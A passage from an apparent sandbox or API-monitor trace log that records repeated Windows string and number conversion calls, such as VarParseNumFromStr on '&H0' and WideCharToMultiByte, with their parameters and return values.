rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.111] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.111] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.111] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.111] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.111] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.112] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.112] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.112] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.113] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.113] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.113] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.113] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.113] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.114] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.114] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.114] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.114] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.115] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.115] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.115] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.116] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.116] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.116] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.116] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.116] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.116] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.117] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.117] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.117] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.118] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.118] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.118] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.118] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.118] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.119] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.119] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.119] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.119] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.120] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.120] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.120] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.120] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.121] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.121] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.121] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.121] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.121] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.122] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.122] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.123] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.123] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.123] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.123] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.123] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.124] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.124] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.124] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 